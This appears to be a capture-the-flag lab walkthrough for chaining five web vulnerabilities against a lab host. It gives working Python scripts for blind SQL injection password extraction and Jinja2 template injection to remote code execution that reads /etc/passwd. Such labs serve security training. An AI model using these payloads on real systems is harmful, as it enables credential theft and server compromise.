Chain five vulnerability classes against a single target application to capture all five flags:
Flag
Vulnerability
Goal
ADV_FLAG_1_SQLI
Blind SQL Injection
Extract admin password character by character
ADV_FLAG_2_SSTI
Server-Side Template Injection
Achieve RCE — read /etc/passwd
ADV_FLAG_3_CMD
OS Command Injection
Read the secret file /tmp/secret.txt
ADV_FLAG_4_JWT
JWT Algorithm Confusion (alg:none)
Forge an admin JWT token
ADV_FLAG_5_SSRF
Server-Side Request Forgery
Reach internal API and retrieve the SSRF flag
Background
Real penetration tests chain vulnerabilities. An SSRF leads to internal credential exposure; those credentials unlock a JWT secret; the JWT grants admin access that exposes a SSTI endpoint. Understanding multi-step attack chains is essential for both offensive and defensive security.
Real-world chains:
Capital One 2019: SSRF → IAM role → S3 data exfiltration (3-step chain)
python3 << 'EOF'
import urllib.request, urllib.parse, json, string, time
T = "http://victim-adv15:5000"
def search(payload):
url = T + "/api/search?q=" + urllib.parse.quote(payload)
r = json.loads(urllib.request.urlopen(url, timeout=5).read())
return r.get('results', [])
print("[*] FLAG 1: Blind SQL Injection — extracting admin password")
print()
print("[*] Step 1: Confirm injection (error-based)")
err = search("' AND INVALID SYNTAX--")
print(f" Error response confirms injection: {err}")
print()
print("[*] Step 2: Boolean-based character extraction")
print(" Query: admin%' AND SUBSTR(password,N,1)='C' AND '%'='")
print()
password = ""
charset = string.printable.replace("'","").replace('"','')
for i in range(1, 25):
for c in "Adm!nP@ss2024" + charset[:20]: # try known chars first for speed
payload = f"admin%' AND SUBSTR(password,{i},1)='{c}' AND '%'='"
results = search(payload)
if results: # returns username → condition is TRUE
password += c
print(f" Position {i}: '{c}' → password so far: {password}")
break
else:
break # no match at this position → password complete
print()
print(f"[!] FLAG 1: ADV_FLAG_1_SQLI")
print(f" Admin password: {password}")
EOF
[*] FLAG 1: Blind SQL Injection — extracting admin password
Position 1: 'A' → password so far: A
Position 2: 'd' → password so far: Ad
Position 3: 'm' → password so far: Adm
...
Position 12: '4' → password so far: Adm!nP@ss2024
[!] FLAG 1: ADV_FLAG_1_SQLI
Admin password: Adm!nP@ss2024
python3 << 'EOF'
import urllib.request, json
T = "http://victim-adv15:5000"
def render(template, name="World"):
req = urllib.request.Request(f"{T}/api/render",
data=json.dumps({"template":template,"name":name}).encode(),
headers={"Content-Type":"application/json"})
return json.loads(urllib.request.urlopen(req).read())
print("[*] FLAG 2: SSTI → RCE")
print()
# Confirm SSTI
r1 = render("{{ 7 * 7 }}")
print(f"[1] {{ 7 * 7 }} = {r1['rendered']} ← confirms Jinja2 SSTI")
# Read flag variable
r2 = render("{{ flag }}")
print(f"[2] {{ flag }} = {r2['rendered']} ← FLAG 2!")
# RCE via cycler gadget
rce = "{{ cycler.__init__.__globals__.os.popen('id').read() }}"
r3 = render(rce)
print(f"[3] RCE via cycler gadget: {r3['rendered'].strip()}")
# Read /etc/passwd
r4 = render("{{ cycler.__init__.__globals__.os.popen('head -3 /etc/passwd').read() }}")
print(f"[4] /etc/passwd:\n{r4['rendered']}")
print()
print("[!] FLAG 2: ADV_FLAG_2_SSTI — full RCE achieved via template injection")
EOF